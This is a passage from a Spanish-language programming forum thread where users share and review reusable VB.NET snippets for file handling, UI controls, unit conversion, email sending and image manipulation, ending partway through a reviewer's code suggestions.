¿Que es un Snippet (http://en.wikipedia.org/wiki/Snippet_%28programming%29)?Es una porción de código que suele contener una o varias
Subrutinas (http://en.wikipedia.org/wiki/Subroutine) con el propósito de realizar una tarea específica,
cuyo código es reusable por otras personas y fácil de integrar con sólamente copiar y pegar el contenido del Snippet.
[youtube=960,540]https://www.youtube.com/watch?v=6E3AEs66KaQ[/youtube]
- ÍNDICE DE SNIPPETS (https://foro.elhacker.net/net/indice_de_la_libreria_de_snippets_para_vbnet-t485444.0.html;msg2167235#msg2167235)
( click para ver el índice )
Los aportes son siempre bienvenidos, peeeero, tal vez deberías de tener snippets que hagan las cosas de la manera más elegante y "performante" posible :P, hay código mejorable, pero es mucho para revisar :xD
Saludos
Esto de snippets vendria a ser como "codigos sueltos" para poder copiar y tenerlos a mano siempre? es como que nos hayas dejado tus apuntes con funciones? o el VS tiene algo para leer esa extension .snippet y aplicarlo a tu proyecto de alguna forma? no lo tengo instalado por eso solo he mirado los codigos en notepad.
Exacto, se instalan en el Visual, y se tienen fragmentos de código prefabricado y para autocompletado :P
[youtube=420,315]http://www.youtube.com/watch?v=OfprmT6eP6k[/youtube]
Saludos
Vendrian a ser entonces como las clases que trae el VS? solo que estos snippets serian clases incorporadas por nosotros mismos.
Gracias!
$Edu$ no se si tienes el
VS pero si lo tienes donde escribes el código del form presiona "
click derecho > insert snippet" y ahí ves lo que són.
Cita de: $Edu$ en 19 Diciembre 2012, 00:02 AM
Esto de snippets vendria a ser como "codigos sueltos" para poder copiar y tenerlos a mano siempre?
Ya te ha contestado
Novlucker pero cabe decir que un snippet no es algo que haya inventado Microsoft, hay bastantes editores de texto que soportan el uso de snippets, y bueno... los que trabajen con HTML/CSS/PHP y todo eso seguro que están muy acostumbrados a usar snippets para sus diseños web, igual que se pueden tener snippets para Batch (xD).
saludos!
Cita de: Novlucker en 18 Diciembre 2012, 23:04 PM
tal vez deberías de tener snippets que hagan las cosas de la manera más elegante y "performante" posible :P,
hay código mejorable
Hay algunos snippets que yo solo no podría haberlos creado porque no sé hacerlo, por ejemplo el "
GlobalHotkeys.snippet", no véas cuanto código con las APIs, como para ponerme a intentar mejorarlos! :xD
Ahora te hago yo una sugerencia:
De sabios es compartir el conocimiento, hay que realizar buenas acciones antes de que se acabe el munedo en... 2 días :silbar:,
Y lo que necesita todo aprendiz de programador es un aporte con los snippets del gran Nov, muchos lo agradecerían (O al menos uno aquí presente... xD). Ahí lo dejo... :-X
Saludos!
Cita de: EleKtro H@cker en 19 Diciembre 2012, 04:04 AM
De sabios es compartir el conocimiento, hay que realizar buenas acciones antes de que se acabe el munedo en... 2 días :silbar:,
Y lo que necesita todo aprendiz de programador es un aporte con los snippets del gran Nov, muchos lo agradecerían (O al menos uno aquí presente... xD).
Es que no tengo snippets personalizados, solo uso los que vienen incorporados en el Visual :P Justamente ayer luego de ver los tuyos me puse a pensar que sería lo que podría tener en snippets, pero la verdad no se me ocurre :P
Saludos
Cita de: Novlucker en 19 Diciembre 2012, 13:11 PMme puse a pensar que sería lo que podría tener en snippets, pero la verdad no se me ocurre :P
que pena que no tengas,
yo pienso que con unos cuantos snippets y pocas modificaciones se puede llegar a crear un programa entero en un instante.
Por ejemplo creamos un programa con un webbrowser y el htmlagilitypack para parsear alguna web y tomar los enlaces, o un auto-login, nos cuesta varias horas hacerlo (sin tener en cuenta el diseño).
Ahora sacamos snippets de las funciones y subrutinas más improtantes que hacemos en ese proyecto, y el próximo proyecto parecido que tengamos que hacer nos costará minutos, o al menos mucho mucho menos que al principio xD.
PD: Tenías razón, había mucho code mejorable, por ejemplo el de "isinternetavaliable" se hacía en unas 10 líneas y de una manera que no me gusta nada, el snippet original incluido en VS2012 lo hace en una línea xD
HE ACTUALIZADO LOS SNIPPETS
Algunos nuevos y algunos ligéramente mejorados basándome en los que vienen incluidos por defecto en VS2012.
Es que si miras un poco al futuro, cualquiera va a poder programar lo que quiera, cada vez esta tan facil que las generaciones futuras diran "se programar" y solo sabran la estructura para programar pero 0 conocimiento en generar codigo propio. Lo mismo piensan las generaciones antiguas de nosotros los que usamos .NET y no ASM xD
Deberían hacer un post en esta sección que contenga sólamente snippets y donde todos aporten snippets útiles ;D
He hecho este snippet para agilizar el renombramiento de archivos, aquí tienen ;)
PD: Uso "MOVE" porque de otra forma es imposible renombrar el archivo con el mismo nombre, como bien está explicado aquí por NovLucker: http://foro.elhacker.net/net/solucionado_iquestcomo_renombrar_un_archivo_o_carpeta_con_el_mismo_nombre-t378839.0.html
' Usage:
'
' RenameFile("C:\Test.txt", "TeSt.TxT")
' RenameFile("C:\Test.txt", "Test", "doc")
' RenameFile(FileInfoObject.FullName, FileInfoObject.Name.ToLower, FileInfoObject.Extension.ToUpper)
' If RenameFile("C:\Test.txt", "TeSt.TxT") Is Nothing Then MsgBox("El archivo no existe!")
#Region " RenameFile function "
Private Function RenameFile(ByVal File As String, ByVal NewFileName As String, Optional ByVal NewFileExtension As String = Nothing)
If IO.File.Exists(File) Then
Try
Dim FileToBeRenamed As New System.IO.FileInfo(File)
If NewFileExtension Is Nothing Then
FileToBeRenamed.MoveTo(FileToBeRenamed.Directory.FullName & "\" & NewFileName) ' Rename file with same extension
Else
FileToBeRenamed.MoveTo(FileToBeRenamed.Directory.FullName & "\" & NewFileName & NewFileExtension) ' Rename file with new extension
End If
Return True ' File was renamed OK
Catch ex As Exception
' MsgBox(ex.Message)
Return False ' File can't be renamed maybe because User Permissions
End Try
Else
Return Nothing ' File doesn't exist
End If
End Function
#End Region
Y unos cuantos más...
Modificar atributos de archivos:
' Usage:
' Attrib("File.txt", IO.FileAttributes.ReadOnly + IO.FileAttributes.Hidden)
' If Attrib("File.txt", IO.FileAttributes.System) Is Nothing Then MsgBox("File doesn't exist!")
Private Function Attrib(ByVal File As String, ByVal Attributes As System.IO.FileAttributes)
If IO.File.Exists(File) Then
Try
FileSystem.SetAttr(File, Attributes)
Return True ' File was modified OK
Catch ex As Exception
' MsgBox(ex.Message)
Return False ' File can't be modified maybe because User Permissions
End Try
Else
Return Nothing ' File doesn't exist
End If
End Function
Controlar el mismo evento para varios controles:
Private Sub Button_Is_Clicked(sender As Object, e As EventArgs) Handles _
Button1.Click, _
Button2.Click, _
Button3.Click
Dim Clicked_Button As Button = CType(sender, Button)
If Clicked_Button.Name = "Button1" Then
' Things for Button1
ElseIf Clicked_Button.Name = "Button2" Then
' Things for Button2
ElseIf Clicked_Button.Name = "Button3" Then
' Things for Button3
End If
Ens Sub
Un link label:
' First add a LinkLabel control into the form.
Private Sub LinkLabel_LinkClicked(sender As Object, e As LinkLabelLinkClickedEventArgs) Handles LinkLabel1.LinkClicked
System.Diagnostics.Process.Start("http://www.Google.com")
System.Diagnostics.Process.Start("mailto:ME@Hotmail.com")
End Sub
Procesar todos los archivos de texto de My.Resources:
For Each ResourceFile As DictionaryEntry In My.Resources.ResourceManager.GetResourceSet(Globalization.CultureInfo.CurrentCulture, True, True).OfType(Of Object)()
If TypeOf (ResourceFile.Value) Is String Then
MsgBox(My.Resources.ResourceManager.GetObject(ResourceFile.Key))
'MsgBox(ResourceFile.Key) ' Resource Name
'MsgBox(ResourceFile.Value) ' Resource FileContent
End If
Next
Procesar todos los archivos de imagen de My.Resources:
For Each ResourceFile As DictionaryEntry In My.Resources.ResourceManager.GetResourceSet(Globalization.CultureInfo.CurrentCulture, True, True).OfType(Of Object)()
If TypeOf (ResourceFile.Value) Is Drawing.Image Then
Button_2000_2006.Image = ResourceFile.Value
'MsgBox(ResourceFile.Key) ' Resource Name
'MsgBox(ResourceFile.Value) ' Resource FileContent
End If
Next
Ordenar un listview al clickar sobre la columna a ordenar:
' Instructions:
' 1. Add the class
' 2. Add the declaration
' 3. Add a listview
Dim ColumnOrder As String = "Down"
#Region " ListView Sort Column event "
Private Sub ListView_ColumnClick(ByVal sender As Object, ByVal e As System.Windows.Forms.ColumnClickEventArgs) Handles ListView1.ColumnClick
If ColumnOrder = "Down" Then
Me.ListView1.ListViewItemSorter = New OrdenarListview(e.Column, SortOrder.Ascending)
ListView1.Sort()
ColumnOrder = "Up"
ElseIf ColumnOrder = "Up" Then
Me.ListView1.ListViewItemSorter = New OrdenarListview(e.Column, SortOrder.Descending)
ListView1.Sort()
ColumnOrder = "Down"
End If
End Sub
#End Region
#Region " OrdenarListView [CLASS] "
Public Class OrdenarListview
Implements IComparer
Private vIndiceColumna As Integer
Private vTipoOrden As SortOrder
Public Sub New(ByVal pIndiceColumna As Integer, ByVal pTipoOrden As SortOrder)
vIndiceColumna = pIndiceColumna
vTipoOrden = pTipoOrden
End Sub
Public Function Ordenar(ByVal x As Object, ByVal y As Object) As Integer Implements System.Collections.IComparer.Compare
Dim item_x As ListViewItem = DirectCast(x, ListViewItem)
Dim item_y As ListViewItem = DirectCast(y, ListViewItem)
Dim string_x As String
If item_x.SubItems.Count <= vIndiceColumna Then
string_x = ""
Else
string_x = item_x.SubItems(vIndiceColumna).Text
End If
Dim string_y As String
If item_y.SubItems.Count <= vIndiceColumna Then
string_y = ""
Else
string_y = item_y.SubItems(vIndiceColumna).Text
End If
If vTipoOrden = SortOrder.Ascending Then
If IsNumeric(string_x) And IsNumeric(string_y) Then
Return Val(string_x).CompareTo(Val(string_y))
ElseIf IsDate(string_x) And IsDate(string_y) Then
Return DateTime.Parse(string_x).CompareTo(DateTime.Parse(string_y))
Else
Return String.Compare(string_x, string_y)
End If
Else
If IsNumeric(string_x) And IsNumeric(string_y) Then
Return Val(string_y).CompareTo(Val(string_x))
ElseIf IsDate(string_x) And IsDate(string_y) Then
Return DateTime.Parse(string_y).CompareTo(DateTime.Parse(string_x))
Else
Return String.Compare(string_y, string_x)
End If
End If
End Function
End Class
#End Region
Un ejemplo de un SaveFileDialog:
Dim SaveFile As New SaveFileDialog
SaveFile.Title = "Save a Report File"
SaveFile.InitialDirectory = Environ("programfiles")
SaveFile.RestoreDirectory = True
SaveFile.DefaultExt = "txt"
SaveFile.Filter = "txt file (*.txt)|*.txt"
SaveFile.CheckPathExists = True
'SaveFile.CheckFileExists = True
'SaveFile.ShowDialog()
If SaveFile.ShowDialog() = DialogResult.OK Then
MsgBox(SaveFile.FileName)
End If
Centrar un form secundario en el form principal:
#Region " CenterForm function "
Function CenterForm(ByVal Form_to_Center As Form, ByVal Form_Location As Point) As Point
Dim FormLocation As New Point
FormLocation.X = (Me.Left + (Me.Width - Form_to_Center.Width) / 2) ' set the X coordinates.
FormLocation.Y = (Me.Top + (Me.Height - Form_to_Center.Height) / 2) ' set the Y coordinates.
Return FormLocation ' return the Location to the Form it was called from.
End Function
#End Region
' Form2 Load
Private Sub Form2_Load(sender As Object, e As EventArgs) Handles MyBase.Load
Me.Location = Form1.centerForm(Me, Me.Location)
End Sub
' Private Sub Button_MouseHover(sender As Object, e As EventArgs) Handles Button1.MouseHover
' Form2.Show()
' End Sub
' Private Sub Button_MouseLeave(sender As Object, e As EventArgs) Handles Button1.MouseLeave
' Form2.Dispose()
' End Sub
Saludos!
Para una aplicación necesité dividir el tamaño de unos MEgaBytes entre la capacidad de un DVD5, así que ya puestos he hecho este snippet que divide el tamaño entre varios formatos de discos, para la próxima ocasión.
PD: Las medidas están sacadas de la Wikipedia, para los más... :-X
Saludos.
' Usage:
'
' MsgBox(ConvertToDiscSize(737280000, "Bytes", "CD"))
' MsgBox(ConvertToDiscSize(700, "MB", "CD"))
' MsgBox(Math.Ceiling(ConvertToDiscSize(6.5, "GB", "DVD")))
' MsgBox(ConvertToDiscSize(40, "GB", "BR").ToString.Substring(0, 3) & " Discs")
#Region " Convert To Disc Size function"
Private Function ConvertToDiscSize(ByVal FileSize As Double, ByVal FileKindSize As String, ByVal To_DiscKindCapacity As String)
' KindSize Measures:
' --------------------------
' Bytes
' KB
' MB
' GB
' ToDiscKind Measures:
' -----------------------------
' CD
' CD800
' CD900
' DVD
' DVD-DL
' BR
' BR-DL
' BR-3L
' BR-4L
' BR-MD
' BR-MD-DL
' Bytes
If FileKindSize.ToUpper = "BYTES" Then
If To_DiscKindCapacity.ToUpper = "CD" Then Return FileSize / 737280000 ' CD Standard
If To_DiscKindCapacity.ToUpper = "CD800" Then Return FileSize / 829440393.216 ' CD 800 MB
If To_DiscKindCapacity.ToUpper = "CD900" Then Return FileSize / 912383803.392 ' CD 900 MB
If To_DiscKindCapacity.ToUpper = "DVD" Then Return FileSize / 4700000000 ' DVD Standard (DVD5
If To_DiscKindCapacity.ToUpper = "DVD-DL" Then Return FileSize / 8500000000 ' DVD Double Layer (DVD9)
If To_DiscKindCapacity.ToUpper = "BR" Then Return FileSize / 25025314816 ' BluRay Standard
If To_DiscKindCapacity.ToUpper = "BR-DL" Then Return FileSize / 50050629632 ' BluRay Double Layer
If To_DiscKindCapacity.ToUpper = "BR-3L" Then Return FileSize / 100103356416 ' BluRay x3 Layers
If To_DiscKindCapacity.ToUpper = "BR-4L" Then Return FileSize / 128001769472 ' BluRay x4 Layers
If To_DiscKindCapacity.ToUpper = "BR-MD" Then Return FileSize / 7791181824 ' BluRay MiniDisc Standard
If To_DiscKindCapacity.ToUpper = "BR-MD-DL" Then Return FileSize / 15582363648 ' BluRay MiniDisc Double Layer
' KB
ElseIf FileKindSize.ToUpper = "KB" Then
If To_DiscKindCapacity.ToUpper = "CD" Then Return FileSize / 720000 ' CD Standard
If To_DiscKindCapacity.ToUpper = "CD800" Then Return FileSize / 810000.384 ' CD 800 MB
If To_DiscKindCapacity.ToUpper = "CD900" Then Return FileSize / 890999.808 ' CD 900 MB
If To_DiscKindCapacity.ToUpper = "DVD" Then Return FileSize / 4589843.75 ' DVD Standard (DVD5)
If To_DiscKindCapacity.ToUpper = "DVD-DL" Then Return FileSize / 8300781.25 ' DVD Double Layer (DVD9)
If To_DiscKindCapacity.ToUpper = "BR" Then Return FileSize / 24438784 ' BluRay Standard
If To_DiscKindCapacity.ToUpper = "BR-DL" Then Return FileSize / 48877568 ' BluRay Double Layer
If To_DiscKindCapacity.ToUpper = "BR-3L" Then Return FileSize / 97757184 ' BluRay x3 Layers
If To_DiscKindCapacity.ToUpper = "BR-4L" Then Return FileSize / 125001728 ' BluRay x4 Layers
If To_DiscKindCapacity.ToUpper = "BR-MD" Then Return FileSize / 7608576 ' BluRay MiniDisc Standard
If To_DiscKindCapacity.ToUpper = "BR-MD-DL" Then Return FileSize / 15217152 ' BluRay MiniDisc Double Layer
' MB
ElseIf FileKindSize.ToUpper = "MB" Then
If To_DiscKindCapacity.ToUpper = "CD" Then Return FileSize / 703.125 ' CD Standard
If To_DiscKindCapacity.ToUpper = "CD800" Then Return FileSize / 791.016 ' CD 800 MB
If To_DiscKindCapacity.ToUpper = "CD900" Then Return FileSize / 870.117 ' CD 900 MB
If To_DiscKindCapacity.ToUpper = "DVD" Then Return FileSize / 4482.26929 ' DVD Standard (DVD5)
If To_DiscKindCapacity.ToUpper = "DVD-DL" Then Return FileSize / 8106.23169 ' DVD Double Layer (DVD9)
If To_DiscKindCapacity.ToUpper = "BR" Then Return FileSize / 23866 ' BluRay Standard
If To_DiscKindCapacity.ToUpper = "BR-DL" Then Return FileSize / 47732 ' BluRay Double Layer
If To_DiscKindCapacity.ToUpper = "BR-3L" Then Return FileSize / 95466 ' BluRay x3 Layers
If To_DiscKindCapacity.ToUpper = "BR-4L" Then Return FileSize / 122072 ' BluRay x4 Layers
If To_DiscKindCapacity.ToUpper = "BR-MD" Then Return FileSize / 7430.25 ' BluRay MiniDisc Standard
If To_DiscKindCapacity.ToUpper = "BR-MD-DL" Then Return FileSize / 14860.5 ' BluRay MiniDisc Double Layer
' GB
ElseIf FileKindSize.ToUpper = "GB" Then
If To_DiscKindCapacity.ToUpper = "CD" Then Return FileSize / 0.68665 ' CD Standard
If To_DiscKindCapacity.ToUpper = "CD800" Then Return FileSize / 0.77248 ' CD 800 MB
If To_DiscKindCapacity.ToUpper = "CD900" Then Return FileSize / 0.84972 ' CD 900 MB
If To_DiscKindCapacity.ToUpper = "DVD" Then Return FileSize / 4.37722 ' DVD Standard (DVD5)
If To_DiscKindCapacity.ToUpper = "DVD-DL" Then Return FileSize / 7.91624 ' DVD Double Layer (DVD9)
If To_DiscKindCapacity.ToUpper = "BR" Then Return FileSize / 23.30664 ' BluRay Standard
If To_DiscKindCapacity.ToUpper = "BR-DL" Then Return FileSize / 46.61328 ' BluRay Double Layer
If To_DiscKindCapacity.ToUpper = "BR-3L" Then Return FileSize / 93.22852 ' BluRay x3 Layers
If To_DiscKindCapacity.ToUpper = "BR-4L" Then Return FileSize / 119.21094 ' BluRay x4 Layers
If To_DiscKindCapacity.ToUpper = "BR-MD" Then Return FileSize / 7.2561 ' BluRay MiniDisc Standard
If To_DiscKindCapacity.ToUpper = "BR-MD-DL" Then Return FileSize / 14.51221 ' BluRay MiniDisc Double Layer
End If
Return Nothing ' Argument measure not found
End Function
#End Region
He actualizado el pack de Snippets en el post principal (Antes eran 76, ahora 114)
Si alguien quiere que incluya un pack con sus snippets en el post principal porfavor que me pase los snippets en formato de snippet (Archivo.snippet).
Y añado este snippet, un delimitador de strings, es parecido al método "Split", pero bajo mi opinión lo he mejorado bastante!
· Acepta 1 o 2 delimitadores,
· Opción de IgnoreCase
· Delimitar de izquierda a derecha o de derecha a izquierda.
Saludos!
#Region " Delimit_String Function "
' // By Elektro H@ker
'
' USAGE:
'
' MsgBox(Delimit_String("Welcome to my new house", "to")) ' my new house
' MsgBox(Delimit_String("Welcome to my new house", "to", "house")) ' my new
' MsgBox(Delimit_String("Welcome to my new house", "TO", "HoUSe", True)) ' my new
' MsgBox(Delimit_String("Welcome to my new house", "house", "to", , "Left")) ' my new
' MsgBox(Delimit_String("Welcome to my new house", "TO", "HoUSe", False)) ' False
' MsgBox(Delimit_String("Welcome to my new house", "to", "to", , "Left")) ' Index was outside bounds of the array
Private Function Delimit_String(ByVal STR As String, ByVal Delimiter_A As String, Optional ByVal Delimiter_B As String = "", Optional ByVal Ignore_Case As Boolean = False, Optional ByVal Left_Or_Right As String = "Right")
Dim Compare_Method As Integer = 0 ' Don't ignore case
If Ignore_Case = True Then Compare_Method = 1 ' Ignore Case
If Not Left_Or_Right.ToUpper = "LEFT" And Not Left_Or_Right.ToUpper = "RIGHT" _
Then Return False ' Returns false if the Left_Or_Right argument is in incorrect format
If Compare_Method = 0 Then
If Not STR.Contains(Delimiter_A) Or Not STR.Contains(Delimiter_B) _
Then Return False ' Returns false if one of the delimiters in NormalCase can 't be found
Else
If Not STR.ToUpper.Contains(Delimiter_A.ToUpper) Or Not STR.ToUpper.Contains(Delimiter_B.ToUpper) _
Then Return False ' Returns false if one of the delimiters in IgnoreCase can 't be found
End If
Try
If Left_Or_Right.ToUpper = "LEFT" Then STR = Split(STR, Delimiter_A, , Compare_Method)(0) _
Else If Left_Or_Right.ToUpper = "RIGHT" Then STR = Split(STR, Delimiter_A, , Compare_Method)(1)
If Delimiter_B IsNot Nothing Then
If Left_Or_Right.ToUpper = "LEFT" Then STR = Split(STR, Delimiter_B, , Compare_Method)(1) _
Else If Left_Or_Right.ToUpper = "RIGHT" Then STR = Split(STR, Delimiter_B, , Compare_Method)(0)
End If
Return STR ' Returns the splitted string
Catch ex As Exception
Return ex.Message ' Returns exception if index is out of range
End Try
End Function
#End Region
Otro convertidor, en esta ocasión un convertidor de tiempo, ms, segundos, minutos, horas.
#Region " Convert Time Function"
' // By Elektro H@cker
'
' MsgBox(Convert_Time(1, "h", "m"))
' MsgBox(Convert_Time(1, "h", "s"))
' MsgBox(Convert_Time(1, "h", "ms"))
' MsgBox(Convert_Time(6000, "milliseconds", "seconds"))
' MsgBox(Convert_Time(6000, "seconds", "minutes"))
' MsgBox(Convert_Time(6000, "minutes", "hours"))
Private Function Convert_Time(ByVal Time As Int64, ByVal Input_Time_Format As String, ByVal Output_Time_Format As String)
Dim Time_Span As New TimeSpan
If Input_Time_Format.ToUpper = "MS" Or Output_Time_Format.ToUpper = "MILLISECONDS" Then Time_Span = New TimeSpan(TimeSpan.TicksPerMillisecond * Time)
If Input_Time_Format.ToUpper = "S" Or Output_Time_Format.ToUpper = "SECONDS" Then Time_Span = New TimeSpan(TimeSpan.TicksPerSecond * Time)
If Input_Time_Format.ToUpper = "M" Or Output_Time_Format.ToUpper = "MINUTES" Then Time_Span = New TimeSpan(TimeSpan.TicksPerMinute * Time)
If Input_Time_Format.ToUpper = "H" Or Output_Time_Format.ToUpper = "HOURS" Then Time_Span = New TimeSpan(TimeSpan.TicksPerHour * Time)
If Output_Time_Format.ToUpper = "MS" Or Output_Time_Format.ToUpper = "MILLISECONDS" Then Return Time_Span.TotalMilliseconds
If Output_Time_Format.ToUpper = "S" Or Output_Time_Format.ToUpper = "SECONDS" Then Return Time_Span.TotalSeconds
If Output_Time_Format.ToUpper = "M" Or Output_Time_Format.ToUpper = "MINUTES" Then Return Time_Span.TotalMinutes
If Output_Time_Format.ToUpper = "H" Or Output_Time_Format.ToUpper = "HOURS" Then Return Time_Span.TotalHours
Return False ' Returns false if argument is in incorrect format
End Function
#End Region
Set_PC_State
' // By Elektro H@cker
' USAGE:
'
' Set_PC_State(RESET)
' Set_PC_State(SUSPEND, 30, "I'm suspending your system.")
' Set_PC_State(LOG_OFF)
' Set_PC_State(HIBERN)
' Set_PC_State(ABORT)
#Region " Set PC State "
Const RESET As String = " -R "
Const SUSPEND As String = " -S "
Const LOG_OFF As String = " -L "
Const HIBERN As String = " -H "
Const ABORT As String = " -A "
Private Function Set_PC_State(ByVal PowerState_Action As String, Optional ByVal TimeOut As Integer = 1, Optional ByVal COMMENT As String = "")
Dim Shutdown_Command As New ProcessStartInfo
Shutdown_Command.FileName = "Shutdown.exe"
Try
If PowerState_Action = ABORT Or PowerState_Action = HIBERN Or PowerState_Action = LOG_OFF Then
Shutdown_Command.Arguments = PowerState_Action ' Windows don't allow TimeOut or Comment options for HIBERN, LOG_OFF or ABORT actions.
ElseIf PowerState_Action = RESET Or PowerState_Action = SUSPEND Then
If Not COMMENT = "" Then
If COMMENT.Length > 512 Then COMMENT = COMMENT.Substring(0, 512) ' Only 512 chars are allowed for comment
Shutdown_Command.Arguments = PowerState_Action & " -T " & TimeOut & " /C " & COMMENT
Else
Shutdown_Command.Arguments = PowerState_Action & " -T " & TimeOut
End If
Shutdown_Command.WindowStyle = ProcessWindowStyle.Hidden
Process.Start(Shutdown_Command)
Return True
End If
Catch ex As Exception
Return ex.Message
End Try
Return Nothing ' Invalid argument
End Function
#End Region
Día local:
Dim Today as string = My.Computer.Clock.LocalTime.DayOfWeek ' In English language
Dim Today as string = System.Globalization.DateTimeFormatInfo.CurrentInfo.GetDayName(Date.Today.DayOfWeek) ' In system language
String is URL?
' USAGE:
'
' If String_Is_URL("http://google.com") Then MsgBox("Valid url!") Else MsgBox("Invalid url!")
#Region " String Is URL Function "
Private Function String_Is_URL(ByVal STR As String)
Dim URL_Pattern As String = "^(http|https):/{2}[a-zA-Z./&\d_-]+"
Dim URL_RegEx As New System.Text.RegularExpressions.Regex(URL_Pattern, System.Text.RegularExpressions.RegexOptions.IgnoreCase Or System.Text.RegularExpressions.RegexOptions.ExplicitCapture)
If URL_RegEx.IsMatch(STR) Then Return True Else Return False
End Function
#End Region
G-Mail Sender (Envía emails)
' USAGE:
'
' GMail_Sender("Your_Email@Gmail.com", "Your_Password", "Email Subject", "Message Body", "Destiny@Email.com")
#Region " GMail Sender function "
Private Function GMail_Sender(ByVal Gmail_Username As String, ByVal Gmail_Password As String, ByVal Email_Subject As String, ByVal Email_Body As String, ByVal Email_Destiny As String)
Try
Dim MailSetup As New System.Net.Mail.MailMessage
MailSetup.Subject = Email_Subject
MailSetup.To.Add(Email_Destiny)
MailSetup.From = New System.Net.Mail.MailAddress(Gmail_Username)
MailSetup.Body = Email_Body
Dim SMTP As New System.Net.Mail.SmtpClient("smtp.gmail.com")
SMTP.Port = 587
SMTP.EnableSsl = True
SMTP.Credentials = New Net.NetworkCredential(Gmail_Username, Gmail_Password)
SMTP.Send(MailSetup)
Return True ' Email is sended OK
Catch ex As Exception
Return ex.Message ' Email can't be sended
End Try
End Function
#End Region
Get OS Version
Dim OS_Version As String = System.Environment.OSVersion.ToString
MsgBox(OS_Version)
String Is Email
' // By Elektro H@cker
'
' USAGE:
'
' MsgBox(String_Is_Email("User@Email.com"))
#Region " String Is Email Function "
Private Function String_Is_Email(ByVal Email_String As String)
Dim Emaill_RegEx As New System.Text.RegularExpressions.Regex("^[A-Za-z0-9][A-Za-z0-9]+\@[A-Za-z0-9]+\.[A-Za-z0-9][A-Za-z0-9]+$")
If Emaill_RegEx.IsMatch(Email_String) Then Return True Else Return False
End Function
#End Region
Get Random Password
' USAGE:
'
' MsgBox(Get_Random_Password(8))
' MsgBox(Get_Random_Password(36))
#Region " Get Random Password Function "
Public Function Get_Random_Password(ByVal Password_Length As Double) As String
Dim New_Password As String = System.Guid.NewGuid.ToString
If Password_Length <= 0 OrElse Password_Length > New_Password.Length Then
Throw New ArgumentException("Length must be between 1 and " & New_Password.Length)
End If
Return New_Password.Substring(0, Password_Length)
End Function
#End Region
Get Printers
' // By Elektro H@cker
'
' USAGE:
'
' For Each Printer_Name In Get_Printers() : MsgBox(Printer_Name) : Next
Private Function Get_Printers()
Dim Printer_Array As New List(Of String)
Try
For Each Printer_Name As String In System.Drawing.Printing.PrinterSettings.InstalledPrinters : Printer_Array.Add(Printer_Name) : Next
Catch ex As Exception
If ex.Message.Contains("RPC") Then Return "RPC Service is not avaliable"
End Try
Return Printer_Array
End Function
Pues yo tengo una colección de funciones para crear, cargar y superponer imágenes así como para escribir texto usando gdi+:
cargar una imágen en una resolución determinada:
Public Function read_image_at_res(ByRef file As String, ByRef force_sizex As Integer, ByRef force_sizey As Integer) As System.Drawing.Bitmap
Dim img As New Bitmap(file)
Dim b As New Bitmap(force_sizex, force_sizey)
Dim bg As Graphics = Graphics.FromImage(b)
Try
bg.DrawImage(img, New Rectangle(New Point(0, 0), New Size(force_sizex, force_sizey)), New Rectangle(0, 0, img.Width, img.Height), GraphicsUnit.Pixel)
Catch ex As Exception
End Try
bg.Dispose()
Return b
End Function
redimensionar una imágen:
Public Function resize_bmp(ByRef img As Bitmap, ByRef sizex As Integer, ByRef sizey As Integer) As Bitmap
Dim b As New Bitmap(sizex, sizey)
Dim bg As Graphics = Graphics.FromImage(b)
bg.DrawImage(img, New Rectangle(New Point(0, 0), New Size(sizex, sizey)), New Rectangle(0, 0, img.Width, img.Height), GraphicsUnit.Pixel)
bg.Dispose()
Return b
End Function
superponer dos imágenes sobre un lienzo:
Public Function layer_sum(ByRef layer1 As Bitmap, ByRef layer2 As Bitmap) As Bitmap
Dim bg As Graphics = Graphics.FromImage(layer1)
bg.DrawImage(layer2, New Point(0, 0))
bg.Dispose()
Return layer1
End Function
escribir texto plano(con sombreado rudimentario) en un fondo transparente:
Public Function get_text_layer(ByRef size As System.Drawing.Size, ByRef text As String) As System.Drawing.Bitmap
Dim img As New Bitmap(size.Width, size.Height)
Dim bg As Graphics = Graphics.FromImage(img)
bg.DrawString(text, New Font("Lucida Console", 12, FontStyle.Bold), Brushes.Gray, New Point(1, -1))
bg.DrawString(text, New Font("Lucida Console", 12, FontStyle.Bold), Brushes.White, New Point(0, 0))
bg.Dispose()
Return img
End Function
dividir la imagen en sectores y devolver el indicado por "index":
Public Function get_portion(ByRef image As System.Drawing.Bitmap, ByRef cuadriculax As Short, ByRef cuadriculay As Short, ByRef index As Integer) As System.Drawing.Bitmap
Dim img As New Bitmap(CInt(image.Size.Width / cuadriculax), CInt(image.Size.Height / cuadriculay))
'Dim b As New Bitmap(CInt(image.Size.Width / cuadriculax), CInt(image.Size.Height / cuadriculay))
Dim bg As Graphics = Graphics.FromImage(img)
Dim xcount = 0
Dim ycount = 0
Do While index >= cuadriculax
index = index - cuadriculax
ycount = ycount + 1
Loop
xcount = index
Dim tmpx As Integer = CInt((image.Size.Width / cuadriculax) * xcount)
Dim tmpy As Integer = CInt((image.Size.Height / cuadriculay) * ycount)
Dim port As New Rectangle(New System.Drawing.Point(0, 0), New Size(New Point(CInt(image.Size.Width / cuadriculax), CInt(image.Size.Height / cuadriculay))))
bg.DrawImage(image, port, tmpx, tmpy, CInt(port.Size.Width), CInt(port.Size.Height), GraphicsUnit.Pixel)
bg.Dispose()
Return img
End Function
@ABDERRAMAH
Muy buenos, el primero y el segundo me gustaron mucho, siempre tengo problemas para redimensionar imagenes y me viene bien.
El último también, es una idea muy dinámica lo de dividir la imagen en una cuadrícula y tomar un sector, no sé si eres el autor de las funciones pero a pocos se le habría ocurrido hacer algo así xD
Saludos!
Soy autor, si, aunque la idea de crear el objeto graphics y después destruirlo, en lugar de tener uno fijo para todo la vi en unos códigos de msdn.
Bueno, lo siguiente son sugerencias, críticas o comentarios sobre algunos de los snippets que has puesto en el post, así como algo más genérico sobre como estructuras tus métodos o funciones, y el código en general.
- Es aconsejable declarar el tipo de retorno de las funciones en su declaración. Para alguien que no tiene claro el objetivo de una función es mucho más legible hacerlo de este modo, de lo contrario hay que revisar el código de la función en busca de los Return para darse cuenta de que la función retorna un booleano por ejemplo.
Private Function Funcion() As Boolean- Función Attrib. Ya que estás creando una función que te abstrae de verificar la existencia de un archivo y asignar atributos, tal vez lo mejor sería que la función reciba una lista de atributos en lugar de un atributo global. Es decir, en este caso al utilizar tu función es necesario pasar la suma de los atributos para que asigne varios (como en la función original), pero por que no abstraerse un poco más y olvidarse de la suma?
Private Function Attrib(ByVal File As String, ByVal Attributes As List(Of System.IO.FileAttributes)) As Boolean
If IO.File.Exists(File) Then
Try
FileSystem.SetAttr(File, Attributes.Select(Function(a) DirectCast(a, Integer)).Sum())
Return True ' File was modified OK
Catch ex As Exception
' MsgBox(ex.Message)
